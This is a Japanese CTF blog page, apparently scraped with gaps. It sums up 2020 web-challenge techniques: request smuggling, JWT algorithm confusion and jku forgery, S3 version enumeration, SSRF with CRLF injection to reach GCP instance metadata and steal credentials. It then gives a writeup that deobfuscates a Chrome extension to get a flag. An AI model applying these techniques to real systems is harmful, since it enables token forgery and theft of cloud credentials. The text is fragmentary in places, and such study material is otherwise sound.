3→10443に変更。"curl/7.72.0"デモ環境には複数のプロキシサーバーが立っていますが、nginxのプロキシサーバーを対象に試してみます。バックエンドのサーバーに到達していることが確認できました。Smugglehttps://github.com/Red-Knights-CTF/writeups/tree/master/2020/Boot2root_ctf/SmuggleJWT改ざんRS256の公開鍵をHS256の共通鍵として使用してJWTを署名JWTの署名にRS256のアルゴリズムを使用する場合、クライアント側で署名検証するために公開鍵が公開されます。サーバー側の署名検証を通すことができるという手法です。以下の記事が参考になります。Toolkitが便利です。Mr.Voorheeshttps://jctf.team/AppSec-IL-2020/Mr.Voorhees/jkuヘッダーを自分の公開鍵に変更および秘密鍵を使用してJWTを署名JWTにはjkuというヘッダーパラメータがあり、JWTの署名検証に使用する公開鍵の置き場を指定できます。ターゲットのサーバーのアプリケーションからアクセス可能な場所に公開します。サーバー側の署名検証を通すことができるという手法です。Toolkitが使用できます。Buffersの両方のデータフォーマットを満たすようなレコードを作成する必要のある問題でした。作問者から問題ファイルとexploitコードが公開されています。https://github.com/pspaul/ctf-challenges/tree/master/hacklu-2020/fluxcloud-doh問題の解説は、以下のスライドが参考になります。https://slides.com/hakatashi/witchs_key_party#/3WebAssemblyWebAssemblyのReversingWebAssemblyのReversingをする問題も何問か出題されていました。当ブログでもwriteupを公開しています。一定時間内に読み解いて入力するとFLAGが得られる問題です。人間ではクリアできない時間と量であるため機械学習を使用する必要があります。Challengeでも機械学習を使用して画像処理する問題が出題されました。そのIAMロールの権限を使用して更に別のIAMユーザの認証情報を取得し権限昇格する問題です。AWS用のペンテストツールとして有名な、pacuを使用しました。https://github.com/RhinoSecurityLabs/pacu当ブログでもwriteupを公開しています。S3にはバージョニング機能があり、有効化した状態でオブジェクトを更新すると、過去のバージョンも保持されます。よって、S3バケットの一覧表示が可能な場合、バージョンの確認も必要です。一覧表示できたとしてもバージョンまで確認できるとは限りません。実際に試してみましょう。誰でもListBucketとListBucketVersionsが可能なS3バケットを用意します。flag.txtをアップロードして、更に内容を変更して再アップロードし、2世代保持します。CLIで確認してみます。]}VersionIdが取得できたので、過去バージョンのオブジェクトを取得してみます。Dawsonitehttps://github.com/oioki/balccon2k20-ctf/blob/master/web/dawsonite/solution/README.mdGCPCRLFインジェクションを使用したGCPのインスタンスメタデータへのアクセスAWSと同様にGCPにもインスタンスメタデータがあります。Googleを付与する必要があります。これはSSRF対策のためであると考えられます。(なお、AWSでもインスタンスメタデータv2であればHTTPリクエストヘッダーにtokenを付与する必要があります。2020のtpcという問題では、SSRFの脆弱性に加えてCRLFインジェクションの脆弱性もあったため、任意のHTTPリクエストヘッダーを付与可能であり、インスタンスメタデータへアクセス可能でした。tpchttps://github.com/Super-Guesser/ctf/tree/master/2020/Balsn%20CTF%202020/web/TPCGCPのインスタンスメタデータから認証情報取得してから権限昇格インタンスメタデータから他のサービスアカウント(AWSで例えるとアクセスキーIDとシークレットアクセスキーを持つIAMユーザ)の認証情報を取得して、権限昇格する問題です。ManagerというサービスからFLAGを取得します。想定解と非想定解の両方とも参考になります。いったときにenumeration用のツールを使用すると、効率的・網羅的に確認することができます。JavaScript内に埋め込みます。Firebaseから情報取得する解法でした。FirebaseのAPIを呼び出すための支援ツールが公開されています。Hackhttps://github.com/mohamedaymenkarmous/CTF/tree/master/X_MAS_CTF_2020#the-big-election-hackhttps://gist.github.com/03sunf/ada95212b624d9354b9f9cc46b14f387最後に今回は、2018年と2019年のまとめよりも、実機での検証を多めにしました。月並みな表現ではありますが、やはりwriteupを読むだけでなく自分で手を動かしたことで、より理解が深まったと感じます。この記事には検証が成功した結果しか載せていないですが、そこに至るまでに調査や試行錯誤もしており、その過程で得られる知見やテクニックも有用です。検証環境の構築作業を通して、ミドルウェアの知識やテクニックも身に付きました。大部分をDockerで環境構築したため、CTFの競技中に自分の環境で検証したい場合においても簡単に流用できそうです。昨年も今年も公私ともに忙しく、2020年のまとめの公開が非常に遅れてしまいました。開催期間中のCTFのコンテスト参加も全然できていません。2021年のコンテストは多数開催されているため、writeupも多数公開されているものと想定しています。2021年のまとめ記事に向けて、早めに読み進めて検証していきたいところです。threefactooorxCTFここ最近、CTFへの参加ができておらず、久しぶりのWriteup投稿。CTFはCTF界のお祭りであるし、GW期間で時間が少し取れたので参加することにした。言え、pwn問とrev問が多数を占めておりWeb問は1問のみ。何とかその1問は解いたことで責務を果たした。browser.http://threefactooorx.challenges.ooo:4017添付ファイル:3factooorx.crxWriteup問題ページの確認here!のリンクをクリックすると、HTMLファイルをアップロードできる画面に遷移。適当に、以下のテスト用のHTMLファイルを作ってアップロードしてみる。<html><head></head><body>test</body></html>アップロード直後、以下の画面が表示された。すると、adminがアップロードしたHTMLを開いたであろう画像が表示された。背景が緑になっているが、特にHTMLファイルで背景の色は指定していない。次に、添付ファイルのcrxファイルを確認する。crxファイルはChromeの拡張機能のファイルである。zipで展開できるので、中身のファイルを確認していく。主となる機能は以下の2ファイルに実装されている。(snip)content_script.jsは難読化されている。使ってみることにする。Chromeを起動して以下のURLにアクセスする。chrome://extensions/「パッケージ化されていない拡張機能を読み込む」のボタンを押下し、先ほどcrxファイルを展開したディレクトリを指定する。すると、正常にChromeの拡張機能として認識された。拡張機能が有効な状態で問題サイトにアクセスると、背景が緑色になった。すればフラグが取れるのか、どこにフラグがあるのかがさっぱりわからないため、腰を据えて難読化されたコードを読んでいくことにする。実際にChromeで拡張機能を動かしながら変数に設定されている内容などを確認してコード内容の解析を進めつつ、コードの変数名などを変更しながら解析を進めるのが効率的である。crxファイルを展開したディレクトリ配下のファイルを更新した後は「更新」ボタンを押下すると反映される。最初にcontent_script.js全体にフォーマット(整形)をかけてからChromeで表示確認すると、しばらくフリーズした後にOutOfMemoryが発生してしまった。原因がよくわからないが、全体一気にフォーマットをかけず、解析しながら逐次フォーマットをかけていくことにした。全体を眺めると、先頭のOOO_0x5be3配列内のランダム文字列用のような要素をもとに、いくつかの関数を組み合わせて文字列の変換処理(よく読んでいないが、シフトしたり置き換えたり切り出したりだと思われる)をして、有効なJavaScriptの変数や関数の文字列を生成している。この変換処理を追うのは面倒なので、コンソールで実行して、変換後の文字列を把握していくことにする。コードの後半部分を例にする。以下はフォーマットをかけたコードである。_0x5e7e08関数や_0x5e48be関数が多く使用されていることがわかる。0x3f);Chromeで途中でブレイクポイントを設定して、下のコンソール画面で関数を実行すると、変換後の文字列がわかる。あとは地道に変換していく。他にも、変数名を自分でわかりやすくしたり、コメントでメモしながら読み進める。500);ポイントは下から10行目あたり。拡張機能を有効にした状態で、以下の条件を全て満たすHTML画面を表示すると、idがthirdfactooorのHTML要素にflag文字列をセットするようだ。nodesaddedが5nodesdeletedが3attrcharsaddedが23domvalueが2188これら変数がどのようにセットされるか確認するため、解析作業をさらに進める。observing.'),上記のコード内で、特定の条件を満たした場合にnodesadded、nodesdeleted、またはattrcharsadded変数への加算処理を実行している。MutationObserverというAPIを利用してDOMを監視しており、上記のコードはノードの追加、削除、変更が発生した際に動作するようだ。developer.mozilla.org変数の加算処理を通るための条件は以下のとおり。idが3faであるノードの配下に、新規にノードを追加すると加算される。idが3faであるノードの配下から、ノードを削除すると加算される。idが3faであるノードの配下のノードに属性を追加すると、その属性名の長さだけ加算される。これまで解析した結果をもとに、条件を満たすHTMLを作成する。idが3faのノードの配下に5つノードを追加した後、3つノードを削除し、名前が23文字の属性を追加する。id="3fa"></div><script>init();</script></body></html>HTMLを表示して、条件判定の部分にブレイクポイントを設定して確認する。右側のWatch欄を見ると、3つの変数が条件を満たしていることがわかる。残りのdomvalue変数は、別の場所で変数操作をしていたが、適当に属性の値を変更したところ数値が変わったので、特に真面目にコードを読まずに調整した。最終的に以下のHTMLファイルになった。id="3fa"></div><script>init();</script></body></html>全ての変数が条件を満たしていることを確認できた。thirdfactooorにフラグの値がセットされた。これは自分の端末で実行したためフラグ文字列のprefix/suffixしかないが、このHTMLファイルをアップロードすればよいはずだ。アップロードすると、フラグがセットされた画像が表示された。ブログを報告する引用をストックしましたストック一覧を見る閉じる引用するにはまずログインしてくださいログイン閉じる引用をストックできませんでした。再度お試しください閉じる限定公開記事のため引用できません。